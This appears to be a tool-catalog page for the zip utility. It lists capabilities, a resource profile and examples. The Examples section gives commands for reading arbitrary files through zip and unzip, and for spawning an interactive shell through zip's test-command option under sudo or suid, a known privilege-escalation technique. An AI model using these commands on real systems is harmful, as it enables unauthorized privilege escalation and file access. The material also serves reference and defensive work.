compression enabled community medium v1.0.0

zip

Compress files into ZIP archives; can read files and spawn shells via test command.

📋 Live Preview
zip
zip

Sandbox: execFile · Timeout: 30s

Capabilities

system.file.read
security.privilege-escalation.shell

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networknone
Disk I/Olow

Examples

Read arbitrary files (sudo, suid, unprivileged)

zip /path/to/temp-file /path/to/input-file
unzip -p /path/to/temp-file

Spawn an interactive shell (sudo, suid, unprivileged)

zip /path/to/temp-file /etc/hosts -T -TT '/bin/sh #'

Documentation

zip

zip is a command-line utility. Compress files into ZIP archives; can also read files and spawn shells; can also read arbitrary files, spawn an interactive shell.

References